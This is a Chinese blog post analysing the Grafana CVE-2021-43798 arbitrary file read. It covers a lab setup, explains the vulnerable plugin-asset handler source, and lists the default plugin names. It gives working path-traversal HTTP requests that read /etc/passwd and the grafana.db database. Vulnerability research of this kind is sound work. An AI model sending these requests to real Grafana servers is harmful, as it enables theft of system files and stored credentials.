CVE-2021-43798 grafana 任意文件读取 分析

作者: print("") 分类: Java学习 发布时间: 2021-12-07 16:35

环境搭建

https://dl.grafana.com/enterprise/release/grafana-enterprise-8.3.0.linux-amd64.tar.gz

tar zxvf grafana-enterprise-8.3.0.linux-amd64.tar.gz 
cd grafana-8.3.0/
./bin/grafana-server


Grafana server is running with elevated privileges. This is not recommended
WARN[12-07|16:31:59] falling back to legacy setting of 'min_interval_seconds'; please use the configuration option in the `unified_alerting` section if Grafana 8 alerts are enabled. logger=settings
INFO[12-07|16:31:59] Config loaded from                       logger=settings file=/tools/OneForAll-master/grafana-8.3.0/conf/defaults.ini
INFO[12-07|16:31:59] Path Home                                logger=settings path=/tools/OneForAll-master/grafana-8.3.0
INFO[12-07|16:31:59] Path Data                                logger=settings path=/tools/OneForAll-master/grafana-8.3.0/data
INFO[12-07|16:31:59] Path Logs                                logger=settings path=/tools/OneForAll-master/grafana-8.3.0/data/log
INFO[12-07|16:31:59] Path Plugins                             logger=settings path=/tools/OneForAll-master/grafana-8.3.0/data/plugins
INFO[12-07|16:31:59] Path Provisioning                        logger=settings path=/tools/OneForAll-master/grafana-8.3.0/conf/provisioning
INFO[12-07|16:31:59] App mode production                      logger=settings
INFO[12-07|16:31:59] Connecting to DB                         logger=sqlstore dbtype=sqlite3
INFO[12-07|16:31:59] Starting DB migrations                   logger=migrator
INFO[12-07|16:31:59] migrations completed                     logger=migrator performed=0 skipped=438 duration=1.268445ms
INFO[12-07|16:31:59] Validated license token                  logger=licensing appURL=http://localhost:3000/ source=disk status=NotFound
INFO[12-07|16:31:59] Initialising plugins                     logger=plugin.manager
INFO[12-07|16:31:59] Plugin registered                        logger=plugin.manager pluginId=input
INFO[12-07|16:31:59] Live Push Gateway initialization         logger=live.push_http
WARN[12-07|16:31:59] Scheduling and sending of reports disabled, SMTP is not configured and enabled. Configure SMTP to enable. logger=report
INFO[12-07|16:31:59] HTTP Server Listen                       logger=http.server address=[::]:3000 protocol=http subUrl= socket=

默认启动的是3000 端口

访问即可

EXP:

GET /public/plugins/prometheus/../../../../../../../../../etc/passwd HTTP/1.1
Host: 192.168.1.72:3000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

读取数据库文件

GET /public/plugins/mssql/../../../../../data/grafana.db HTTP/1.1
Host: 192.168.1.72:3000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

默认20个插件

alertmanager
cloud-monitoring
cloudwatch
dashboard
elasticsearch
grafana
grafana-azure-monitor-datasource
graphite
influxdb
jaeger
loki
mixed
mssql
mysql
opentsdb
postgres
prometheus
tempo
testdata
zipkin

下载源码

https://codeload.github.com/grafana/grafana/zip/refs/tags/v8.3.0

找到api.go

func (hs *HTTPServer) getPluginAssets(c *models.ReqContext) {
	pluginID := web.Params(c.Req)[":pluginId"]
	plugin, exists := hs.pluginStore.Plugin(c.Req.Context(), pluginID)
	if !exists {
		c.JsonApiErr(404, "Plugin not found", nil)
		return
	}

	requestedFile := filepath.Clean(web.Params(c.Req)["*"])
	pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile)

	if !plugin.IncludedInSignature(requestedFile) {
		hs.log.Warn("Access to requested plugin file will be forbidden in upcoming Grafana versions as the file "+
			"is not included in the plugin signature", "file", requestedFile)
	}

	// It's safe to ignore gosec warning G304 since we already clean the requested file path and subsequently
	// use this with a prefix of the plugin's directory, which is set during plugin loading
	// nolint:gosec
	f, err := os.Open(pluginFilePath)
	if err != nil {
		if os.IsNotExist(err) {
			c.JsonApiErr(404, "Plugin file not found", err)
			return
		}
		c.JsonApiErr(500, "Could not open plugin file", err)
		return
	}
	defer func() {
		if err := f.Close(); err != nil {
			hs.log.Error("Failed to close file", "err", err)
		}
	}()

	fi, err := f.Stat()
	if err != nil {
		c.JsonApiErr(500, "Plugin file exists but could not open", err)
		return
	}

	if hs.Cfg.Env == setting.Dev {
		c.Resp.Header().Set("Cache-Control", "max-age=0, must-revalidate, no-cache")
	} else {
		c.Resp.Header().Set("Cache-Control", "public, max-age=3600")
	}

	http.ServeContent(c.Resp, c.Req, pluginFilePath, fi.ModTime(), f)
}

hs.pluginStore.Plugin

func (m *PluginManager) Plugin(_ context.Context, pluginID string) (plugins.PluginDTO, bool) {
	p, exists := m.plugin(pluginID)

	if !exists {
		return plugins.PluginDTO{}, false
	}

	return p.ToDTO(), true
}

如果存在返回了一个结构体变量

func (p *Plugin) ToDTO() PluginDTO {
	c, _ := p.Client()

	return PluginDTO{
		JSONData:            p.JSONData,
		PluginDir:           p.PluginDir,
		Class:               p.Class,
		IncludedInAppID:     p.IncludedInAppID,
		DefaultNavURL:       p.DefaultNavURL,
		Pinned:              p.Pinned,
		Signature:           p.Signature,
		SignatureType:       p.SignatureType,
		SignatureOrg:        p.SignatureOrg,
		SignedFiles:         p.SignedFiles,
		SignatureError:      p.SignatureError,
		GrafanaComVersion:   p.GrafanaComVersion,
		GrafanaComHasUpdate: p.GrafanaComHasUpdate,
		Module:              p.Module,
		BaseURL:             p.BaseURL,
		StreamHandler:       c,
	}
}

	requestedFile := filepath.Clean(web.Params(c.Req)["*"])
	pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile)

拼接了一下目录和文件名后面就是读取文件和返回了

如上通过url取的pluginID 进入到判断插件是否存在。然后读取到文件进行返回

怎么感觉像是读取插件的静态文件呢。

看了一下描述。就是这样子的

插件初始化

func (m *PluginManager) init() error {
	// create external plugin's path if not exists
	exists, err := fs.Exists(m.cfg.PluginsPath)
	if err != nil {
		return err
	}

	if !exists {
		if err = os.MkdirAll(m.cfg.PluginsPath, os.ModePerm); err != nil {
			m.log.Error("Failed to create external plugins directory", "dir", m.cfg.PluginsPath, "error", err)
		} else {
			m.log.Debug("External plugins directory created", "dir", m.cfg.PluginsPath)
		}
	}

	m.log.Info("Initialising plugins")

	// install Core plugins
	err = m.loadPlugins(m.corePluginPaths()...)
	if err != nil {
		return err
	}

	// install Bundled plugins
	err = m.loadPlugins(m.cfg.BundledPluginsPath)
	if err != nil {
		return err
	}

	// install External plugins
	err = m.loadPlugins(m.cfg.PluginsPath)
	if err != nil {
		return err
	}

	// install plugins from cfg.PluginSettings
	err = m.loadPlugins(m.pluginSettingPaths()...)
	if err != nil {
		return err
	}

	return nil
}

// corePluginPaths provides a list of the Core plugin paths which need to be scanned on init()
func (m *PluginManager) corePluginPaths() []string {
	datasourcePaths := []string{
		filepath.Join(m.cfg.StaticRootPath, "app/plugins/datasource/alertmanager"),
		filepath.Join(m.cfg.StaticRootPath, "app/plugins/datasource/dashboard"),
		filepath.Join(m.cfg.StaticRootPath, "app/plugins/datasource/jaeger"),
		filepath.Join(m.cfg.StaticRootPath, "app/plugins/datasource/mixed"),
		filepath.Join(m.cfg.StaticRootPath, "app/plugins/datasource/zipkin"),
	}

	panelsPath := filepath.Join(m.cfg.StaticRootPath, "app/plugins/panel")

	return append(datasourcePaths, panelsPath)
}

┌─[root@www]─[/tools/OneForAll-master/grafana-8.3.0/public/app/plugins/panel]
└──╼ #ll
total 12
drwxr-xr-x 3 root root  181 Nov 30 23:43 alertGroups
drwxr-xr-x 3 root root  254 Nov 30 23:43 alertlist
drwxr-xr-x 3 root root  206 Nov 30 23:43 annolist
drwxr-xr-x 4 root root  285 Nov 30 23:43 barchart
drwxr-xr-x 3 root root  245 Nov 30 23:43 bargauge
drwxr-xr-x 3 root root  215 Nov 30 23:43 candlestick
drwxr-xr-x 4 root root  163 Nov 30 23:43 canvas
drwxr-xr-x 3 root root  163 Nov 30 23:43 dashlist
drwxr-xr-x 3 root root  206 Nov 30 23:43 debug
drwxr-xr-x 4 root root  210 Nov 30 23:43 gauge
drwxr-xr-x 9 root root  325 Nov 30 23:43 geomap
drwxr-xr-x 4 root root  146 Nov 30 23:43 gettingstarted
drwxr-xr-x 5 root root 4096 Nov 30 23:43 graph
drwxr-xr-x 5 root root  328 Nov 30 23:43 heatmap
drwxr-xr-x 3 root root  156 Nov 30 23:43 histogram
drwxr-xr-x 3 root root  113 Nov 30 23:43 icon
drwxr-xr-x 3 root root  120 Nov 30 23:43 live
drwxr-xr-x 3 root root  139 Nov 30 23:43 logs
drwxr-xr-x 3 root root  218 Nov 30 23:43 news
drwxr-xr-x 4 root root 4096 Nov 30 23:43 nodeGraph
drwxr-xr-x 3 root root  200 Nov 30 23:43 piechart
drwxr-xr-x 4 root root  111 Nov 30 23:43 pluginlist
drwxr-xr-x 3 root root  203 Nov 30 23:43 stat
drwxr-xr-x 4 root root  321 Nov 30 23:43 state-timeline
drwxr-xr-x 3 root root  140 Nov 30 23:43 status-history
drwxr-xr-x 4 root root  239 Nov 30 23:43 table
drwxr-xr-x 4 root root  248 Nov 30 23:43 table-old
drwxr-xr-x 3 root root  235 Nov 30 23:43 text
drwxr-xr-x 6 root root 4096 Nov 30 23:43 timeseries
drwxr-xr-x 3 root root   89 Nov 30 23:43 welcome
drwxr-xr-x 3 root root  280 Nov 30 23:43 xychart

如上这些目录也是可以用的

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论

您的电子邮箱地址不会被公开。